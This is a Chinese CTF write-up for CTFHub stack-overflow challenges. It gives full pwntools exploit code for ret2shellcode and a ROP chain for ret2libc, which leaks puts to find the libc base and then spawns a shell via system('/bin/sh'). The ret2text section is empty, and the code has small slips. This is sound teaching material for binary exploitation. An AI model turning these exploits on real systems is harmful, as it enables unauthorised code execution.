CTFHub-PWN

1. ret2text

2. ret2shellcode

0x01.基础信息分析

通过readelf -h可看出该文件是一个AMD64架构的elf文件。
image

使用checksec也未发现栈保护机制,故栈区可执行shellcode
image

0x02.IDA静态分析

​ 使用IDA pro x64进入main函数,并按F5转换成C语言代码

image

由于read函数会读取0x400个字节,而buf变量只有0x10个字节的空间大小,足以实现栈溢出,且无可直接利用的systemexecve函数,故大体思路为:

  1. 找出ret地址并覆盖为可控地址,不过通过ida分析,buf只有0x10字节的空间大小,即16个字符,那么16+8(rbp)就是return地址;
  2. 自己写shellcode或通过pwntools生成;
  3. 确定shellcode在栈中的内存地址;
  4. 构造payload,并通过python实现栈溢出漏洞的利用,并获得shell;

0x03.GDB动态调试

使用gdb载入待调试文件,并以汇编形式展示main函数
image
在read函数的上一句先打一个断点,并开始进行动态调试,可以看到程序输出一个一个地址为0x7fffffffe400,一会再看这个地址是干嘛用的,先看看其他调试信息。
image

可以看到程序停在了断点处,简单分析以下代码块的以下行指令的用意可知,read函数会从用户键盘输入读取前1024个字符,并存入buf数组中,通过计算先设置payload为'A' * 16 + 'B' * 8 + 'C' * 8(可用cycle快速计算),其中:

  • A是任意填充数据;
  • B是覆盖rbp地址;
  • C是覆盖函数的return地址(call main指令的下一条指令代码,执行完main函数后,会ret并从栈中pop出给RIP,并进行执行),将其覆盖为shellcode的地址即可获得机器shell;
; Windows x64位函数调用,前四个参数是从左至右依次存放与rcx,rdx,r8,r9寄存器里,剩下的参数通过栈传递,从右至左顺序入栈
; Linux x64位函数调用,前6个参数是从左至右依次存放入rdi,rsi,rdx,rcx,r8,r9寄存器,剩下的参数通过栈传递,从右至左顺序入栈
lea rax, [rbp-0x10]	; 声明一个内存只有16个字节大小的变量,并将地址赋值给rax(64bit)寄存器,即char buf[16]
mov edx, 0x400		; 第三个参数 1024大小
mov rsi, rax		; 第二个参数
mov edi, 0x0		; 第一个参数
call 0x400500 ;调用read(0, &buf, 0x400h),其中0-stdin,1-stdout,2-stderr,或者FILE指针

image

输入AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC后,可以看到如预期所示,RBP和RET地址都被对应在字母进行覆盖,也可以看到buf的内容在栈中的内存地址是从0x7fffffffe400开始存储的,且RBP所指的地址也是rbp + 0x10h和在IDA中看到的是一样的,故程序最开始输出的What is it : [0x7fffffffe400] ?即告诉了buf变量在栈中的地址,也可确定rbp在栈中所指的地址(程序每次运行时的栈地址都是变化的,故只能通过其他方式获得rbp地址);

设buf的地址为addr,则payload由以下结构顺序组成:

  1. 首先由24位的任意填充数据组成,用于填充buf和ebp的内容;
  2. 然后由8位地址数据覆盖返回地址,由于payload在栈中是连续内存存储的,故shellcode的地址为addr + 16(buf内存大小) + 8(rbp内存大小) + 8(返回地址内存大小,即rbp后面的地址)
  3. 根据上述思路编写py脚本,获得shell权限;

image

0x04.编写exp

from pwn import *
import re

context(os='linux', arch='amd64')	# 运行环境设置
p = process('./pwn2')	# 运行该可执行文件

# host = ''
# port = 35715
# p = connect(host=host, port=port)


offset = 24	# 设置return地址的偏移量

# 共有三句输出,分别接收
print(p.recvline())		# Welcome to CTFHub ret2shellcode!
message = p.recvline()	# What is it : [0x7ffc7d1204a0] ?


# 对第二条消息进行单独处理,提取buf在栈中的地址
addr = re.findall(r'\[(.+)\]', message.decode('utf-8'))
shellcode_addr = 0x00	# shellcode执行地址
if addr:
    addr = int(addr[0], base=16)	# 将buf地址转化为整数型,方便计算
    shellcode_addr = addr + 24 + 8	# 计算出shellcode所存放的地址
else:
    ModuleNotFoundError('addr is not found!')

print(message)
print(p.recvline()) # Input someting : 


print('\naddr: {}\nret_addr: {}'.format(hex(addr), hex(shellcode_addr)))
# 构造payload,其中shellcraft.sh()生成执行/bin/sh的指令,asm()将其转化为机器码
payload = b'a' * offset + p64(shellcode_addr) + asm(shellcraft.sh())

print('\n')
print(payload)

p.sendline(payload)	# 发送payload
p.interactive()		# 开始进行交互

运行exp即可获得shell
image
查看flag
image

3. ret2libc

0x01.基础信息分析

直接用pwngdbchecksec命令查看文件的栈防护策略
image

  • RELRO 延迟绑定机制,即文件为动态编译,只有在第一次执行C语言的内置函数时,plt.got表才会绑定真实的函数地址;
  • Stack 金丝雀栈保护机制,即在函数被调用后,立即在栈帧中插入一个随机数,函数执行完在返回之前,程序通过检查这个随机数是否改变来判断是否存在栈溢出;
  • NX 栈不可执行机制,即栈上的数据不能当作代码来执行;
  • PIE 与 ASLR 都为地址空间布局随机化,即每次运行的空间地址都是不一样的,其中PIE是在编译的时候设置,其随机化段包括数据段代码段,ASLR是在操作系统上设置的,其随机化段包括堆、栈、mmap(libc库)、CDSO page

调试机上已开启ALSR,程序自带NX保护,故无法在栈上写入数据执行,其实通过查看程序段的maps也能发现,栈只可读写,不可执行;

image

0x02.IDA静态分析

使用IDA pro x64进入main函数,按F5转换成C语言代码

image

由于局部变量buf只有0x90h空间大小,而read函数可往buf中写入0x100h大小的数据,故可实现栈溢出,且无可直接利用的system函数,综上分析可得大体思路为:

  1. 找出ret地址并覆盖为可控地址。通过ida分析,buf只有0x90h(144 bytes)大小空间,可往里写入0x100h(256 bytes)数据,故可定位ret位置为 144 + 8(rbp),这些都可填充为垃圾数据;
  2. 在libc.so文件中找出程序运行时的system函数与/bin/sh真实地址。由于只开启了ALSR,故代码段和数据段的地址是固定的,可从ret2libc文件中找出对应的代码片段和数据控制寄存器;
  3. 编写python脚本泄露任意一个函数的.got.plt的真实地址,即可算出libc的基址,就能获取可利用函数的真实地址,再构造payload,使其跳转到libc中执行system("/bin/sh")

0x03.获取真实地址

通过内存泄漏将puts函数的真实地址打印出来,这里补充一下Linux64位调用函数约定:Linux x64位函数调用,前6个参数是从左至右依次存放入rdi,rsi,rdx,rcx,r8,r9寄存器,剩下的参数通过栈传递,从右至左顺序入栈。

故我们需要控制寄存器的值,通过ROPgadget指令可从可执行文件中获取仅包含某些指令的代码片段地址,这里使用地址只有pop rdi; ret的指令,即从栈中弹出一个地址放入rdi寄存器,再从栈中弹出一个地址赋值给RIP寄存器,故可构造对应的payload。
image

from pwntools import *

# 提取输出的地址,并进行处理
def handle_address(address):
    # print('In function: ', address)
    address = address.replace(b'\n', b'')
    address += b'\x00' * (8 - len(address))
    return u64(address)

context(os='linux', arch='amd64', log_level='info')	# 将环境修改为程序运行所需要的环境

pop_rdi_ret = 0x400703	# pop rdi; ret 指令的地址

elf = ELF('./ret2libc')	# 将文件载入ELF
libc = ELF("./libc.so") # 题目会给.so文件,但是本地调试需要使用本地的libc.so文件
p = process('./ret2libc') # 开启一个进程运行该文件

# 此时程序已经自动调用了puts函数,故可从got表中获取其真实地址
puts_plt = elf.plt['puts']	# 获取plt表中puts函数的地址
puts_got = elf.got['puts']  # 获取got表中puts函数的地址
start_addr = elf.symbols['_start'] # 获取程序start的地址,方便二次溢出

# 构造payload 将puts函数的真实地址弹入rdi寄存器,再调用puts函数将其真实地址输出,最后将EIP重新执行程序入口
payload = b'A' * 152 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendlineafter(b"hello from ctfhub\n", payload)	# 发送payload
puts_real_addr = handle_address(p.recvline()) # 接收并处理 输出的puts真实地址

image

知道libc的基地址后,即可计算出其他函数的真实地址

libc.address = puts_real_addr - libc.symbols["puts"] # 将puts函数的真实地址 - 该函数再libc中的偏移量 = libc的基地址
# 由于已添加了libc.address基地址,故接下来从libc获取的地址都为真实地址(仅限当前进程中的)
system_addr = libc.symbols["system"]	# 从libc中查找system函数的真实地址
bin_sh_addr = libc.search(b'/bin/sh').__next__() # 从libc的数据段获取真实地址

最后只需再次构造payload进行二次溢出getshell

ret = 0x4004c9	# ret指令的地址
# payload = b'A' * 152 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) # 原payload为这个,但由于system函数里面有movaps会检查rsp寄存器的值是否为16的倍数,故该payload无用

# 有用的payload,会额外pop出一个栈顶,即8位的rsp,后续即把/bin/sh的地址放入rdi,再调用system函数
payload = b'A' * 152 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

下图为发送了第一个payload时,跟进system函数内部,发现到箭头所指的位置就无法继续下去,是因为movaps指令会检查rsp是否为16的倍数,因此RSP最后一位只能是0,故需多pop或push一次,使得RSP为16的倍数(转化成16进制即0x10)。
image

0x04.编写exp

整合一下上述代码代码,即可生成对应的exp,将其允许即可getshell
image
将exp的环境改为远程即可获得shell并查看flag
image

posted @ 2023-03-27 09:31  mlins  阅读(166)  评论(0编辑  收藏  举报